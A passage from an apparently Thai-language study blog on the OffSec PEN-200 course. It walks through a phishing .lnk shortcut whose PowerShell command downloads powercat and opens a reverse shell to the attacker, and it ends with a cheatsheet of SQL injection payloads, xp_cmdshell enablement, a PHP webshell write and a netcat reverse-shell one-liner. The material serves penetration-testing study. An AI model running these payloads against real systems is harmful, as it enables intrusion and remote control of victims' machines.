  • ซึ่งในกรณีนี้ผู้ใช้งานจะเห็นไฟล์ reverse_shell.lnk (คิดซะว่าเป็นชื่อไฟล์ปกตินะครับ😅เหยื่อจะไม่ทราบว่าเป็นไฟล์ที่อาจเป็นอันตราย)

(Note: ในสถานการณ์จริง ชื่อไฟล์นั้นอาจจะเป็น automatic_configuration.lnk แล้วถูกหลอกโดยผู้โจมตีซึ่งทำการปลอมตัวเป็นฝ่าย IT ของบริษัทและส่งอีเมลเพื่อขอให้ทำการเปิดการใช้งานไฟล์ เพื่อทำการ Setup อะไรบางอย่าง)

  • ผู้ใช้เปิดการใช้งานไฟล์ .lnk Files:
    • ไฟล์ .lnk ทำการสั่งการงาน Powershell บนเครื่องของผู้ใช้เพื่อสร้าง Reverse Shell
    • Setting Up ไฟล์ .lnk:
powershell.exe -c "IEX(New-Object System.Net.WebClient).DownloadString('http://192.168.0.1:8000/powercat.ps1');powercat -c 192.168.0.1 -p 4444 -e powershell"
  • โดยที่คำสั่งนี้จะทำการไฟล์ดาวน์โหลด (ผ่าน Port 8000 บนเครื่องผู้โจมตี) และสั่งการให้ไฟล์ powercat.ps1 ทำงาน(โดยชี้ไปที่ Port 4444 บนเครื่องผู้โจมตี) จากเครื่องของผู้โจมตีเพื่อสร้าง Reverse Shell Figure 4 : ตัวอย่างการสร้าง Shortcut ที่มีคำสั่งอยู่ภายใน

  • ผู้โจมตี Sets Up ขั้นตอนสุดท้ายก่อนได้รับ Reverse Shell:

    • ซึ่งก่อนที่ผู้โจมตีจะได้รับ Reverse Shell มาได้นั้น ผู้โจมตีจำเป็นต้องมีการเตรียมการเล็กน้อย โดยที่ในกรณีนี้นั้น ผู้เตรียมการจำเป็นต้องเตรียมการ 2 อย่าง:
    • Setting up a Python Http Server(ใช้ในการส่งไฟล์ powercat.ps1 ไปยังเครื่องของผู้ใช้งานเมื่อไฟล์ .lnk ถูกสั่งให้ทำงาน):
kali@kali:~$ cd /path/to/powercat.ps1
kali@kali:~$ python3 -m http.server 8000
  • Setting up a Netcat Listener(ใช้ในการรอรับการตอบกลับจาก powercat.ps1 เพื่อให้ได้รับ Reverse Shell):
kali@kali:~$nc -lvnp 4444
  • ผลการโจมตี:
    • และเมื่อผู้ใช้งานทำการเปิดการใช้งานหรือคลิกไปที่ไฟล์ .lnk :
    • Python Http Server(ได้รับ Request การขอไฟล์ powercat.ps1 และส่งให้):
Serving HTTP on 0.0.0.0 port 8000 …
192.168.0.2 - - [17/Feb/2025 12:34:56] "GET /powercat.ps1 HTTP/1.1"200 -
  • Netcat Listener(และเมื่อ powercat.ps1 ทำงานโดยอัตโนมัติ Netcat จะได้รับ Reverse Shell จากเครื่องของผู้ใช้งาน):
listeningon[any] 4444...  
connect to [192.168.0.1] from (192.168.0.2) 51123Microsoft Windows [Version 10.0.19045.2364]  
(c) Microsoft Corporation. All rights reserved.

C:\\Users\\victim\\Desktop> whoami  
whoami  
Acme\\victim_user

C:\\Users\\victim\\Desktop> ipconfigipconfig  
IPv4 Address: 192.168.0.2  
.
.

และก็ Vamos! We’re in

ข้อมูลเพิ่มเติม:

  • จะเห็นได้ว่าในการโจมตีนี้นั้นจะไม่สามารถสำเร็จได้เลยถ้าผู้โจมตีนั้นไม่ได้ใช้การผสมผสานเทคนิคการทำ Social Engineering ประเภท Phishing เข้าร่วมในการโจมตีด้วย โดยสามารถหาข้อมูลเพิ่มเติมได้ที่ https://www.offsec.com/blog/education-sector-common-breaches-and-cyber-threats/



Wrapping Up

และตอนนี้ผมคิดว่านี่เป็นเวลาและเนื้อหาอันเหมาะสมที่จะจบ Part นี้ของเรา ซึ่งใน Part นี้ก็ได้ครอบคลุมในเนื้อหาเชิงเทคนิคหลายๆอย่าง โดยที่ประกอบไปด้วย การโจมตีโดยการใช้ SQL หรือ SQL Injection ในหลายๆประเภท การโจมตีจากฝั่งผู้ใช้งาน หรือ Client-Side Attacks ถ้าคุณผู้อ่านท่านใดที่อ่านมาถึงจุดนี้หรือไม่ถึงก็ตาม ตัวผมนั้นก็ขอขอบคุณเป็นอย่างยิ่งและก็หวังเป็นอย่างมากว่าคุณผู้อ่านจะได้พบกับสิ่งที่ตัวเองตามหาไม่มากก็น้อยใน blog หรือบทความนี้และต่อๆไป และเช่นเดิม ใน blog หน้าจะเป็นเนื้อหาในบทต่อๆไปที่เราจะต้องเจอในคอร์ส Offsec Pen-200. Stay Tuned, Stay Safe, Try Harder!, until next time สวัสดีครับ

และสำหรับผู้ที่สนใจในใบสรุปคำสั่งและคำอธิบายเพิ่มเติม (Cheatsheet & Additional Description) สามารถดูต่อด้านล่างได้เลยครับผม 🙂🙏




Command Cheatsheet with Additional Description

CC_SQLi(การโจมตีโดยการใช้ SQL)

  • MYSQL การใช้ mysql ผ่าน Terminal:
kali@kali:~$ mysql -u root -p'root' -h 192.168.0.2 -P 3306Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.  
  
Type 'help;'or '\\h'forhelp. Type '\\c'to clear the current input statement.  
  
MySQL [(none)]>

//General command

- Get Version: select version();
- Get Current user: select system_user();
- Get Database: SELECT schema_name FROM information_schema.schmata;
- Gettables: SELECT table_name FROM information_schema.tables WHERE TABLE_SCHEMA = ‘my_database’;
- GET columns: SELECT column_name FROM information_schema_columns WHERE TABLE_SCHEMA = ‘my_database’ AND TABLE_NAME = ‘my_table’;
- GetPossibleCredentials(จาก Column Password): SELECT User, Password FROM mysql.user;
- GET Possible Credentials(จาก Column Authentication): SELECT User, authentication_string FROM mysql.user;
  • MSSQL การใช้ mssql ผ่าน Terminal:
kali@kali:~$ impacket-mssqlclient Administrator:Lab123@192.168.0.2 -windows-authImpacket v0.9.24 - Copyright 2021 SecureAuth Corporation  
  
[*] Encryption required, switching to TLS  
[*] ENVCHANGE(DATABASE): Old Value: master, New Value: master  
[*] ENVCHANGE(LANGUAGE): Old Value: , New Value: us_english  
[*] ENVCHANGE(PACKETSIZE): Old Value: 4096, New Value: 16192  
[*] INFO(SQL01\\SQLEXPRESS): Line 1: Changed database context to 'master'.  
[*] INFO(SQL01\\SQLEXPRESS): Line 1: Changed language setting to us_english.  
[*] ACK: Result: 1 - Microsoft SQL Server (150 7208)  
[!] Press helpforextra shell commands  
SQL>

//General command

- Get Version: select @@version;
- Get Current user: select system_user();
- Get Database: SELECT name FROM master.dbo.sysdatabases;
- Gettables: SELECT table_name FROM information_schema.tables WHERE TABLE_TYPE = ‘BASE TABLE’ AND TABLE_CATALOG = ‘dbName’;
- GET columns: SELECT column_name FROM information_schema_columns WHERE TABLE_NAME = N‘Customers’;
  • Injection:
    • ระบุจำนวน Column โดยใช้คำสั่ง>ORDER BY(โดยการเพิ่มจำนวน ORDER BY ไปเรื่อยๆจนกว่าจะได้รับข้อความแจ้งเตือน Error)
' ORDER BY 1-- \# No error' ORDER BY 2-- \# No error' ORDER BY 3-- \# No error  
' ORDER BY 4-- \# Error! (มีทั้งหมด 3 columns)
  • หาข้อมูลจากข้อความแจ้งเตือน Error:
' or 1=1 in (select password FROM users) -- //
  • Union-based SQL:
' UNION SELECT null, null, @@version, null, null -- //
  • Blind SQL:
' AND IF (1=1, sleep(3), 'false') -- //
  • Command Injection:
    • เปิดการทำงานของ xp_cmdshell(MSSQL):
EXEC sp_configure 'show advanced option',1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell',1;RECONFIGURE;
  • Execute คำสั่ง xp_cmdshell(MSSQL):
EXEC xp_cmdshell 'whoami';
  • RCE ในMySQL:
' UNION SELECT '<?php system($_GET["cmd"]);?>', null INTO OUTFILE '/var/www/html/tmp/webshell.php' -- //
  • Execute คำสั่งใน PostgreSQL:
';COPY EXISTING_TABLE FROM PROGRAM 'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 192.168.45.225 8787 >/tmp/f';-- //



CC_Windows Library Files

การเปิดเซิร์ฟเวอร์ WebDAV:

>wsgidav --host=0.0.0.0 --port=80 --auth=anonymous --root /tmp/webdav

ตัวอย่าง Code ไฟล์ .Library-ms เพื่อเชื่อมหาเซิร์ฟเวอร์ WebDAV:

<?xml version="1.0"encoding="UTF-8"?>  
<libraryDescriptionxmlns="http://schemas.microsoft.com/windows/2009/library"> <name>@windows.storage.dll,-34582</name> <version>6</version> <isLibraryPinned>true</isLibraryPinned> <iconReference>shell32.dll,-16781</iconReference> <templateInfo>   <folderType>{7d49d726-3c21-4f05-99aa-fdc2c9474656}</folderType> </templateInfo> <searchConnectorDescriptionList>   <searchConnectorDescription>     <isDefaultSaveLocation>true</isDefaultSaveLocation>     <isSupported>false</isSupported>     <simpleLocation>       <url>http://192.168.0.1</url>     </simpleLocation>   </searchConnectorDescription> </searchConnectorDescriptionList>  
</libraryDescription>

Payload สำหรับ Shortcut (.lnk ):

powershell.exe -c "IEX(New-Object System.Net.WebClient).DownloadString('http://192.168.0.1:8000/powercat.ps1');powercat -c 192.168.0.1 -p 4444 -e powershell"

ก็จบลงไปจริงๆแล้วครับสำหรับ blog นี้ ตัวผมหวังเป็นอย่างยิ่งว่าคุณผู้อ่านทุกท่านจะได้ประโยชน์กลับไปไม่มากก็น้อย แล้วพบกันใหม่ใน blog หน้า See you soon ครับผม สวัสดีครับ 🙂🙏




อ่าน Part 1 : Introduction

อ่าน Part 2 : Information Gathering

อ่าน Part 3 : Vulnerability Scanning & Basic Web Attacks

อ่าน Part 5 : Phishing & Public Exploit

อ่าน Part 6 : Antivirus Evasion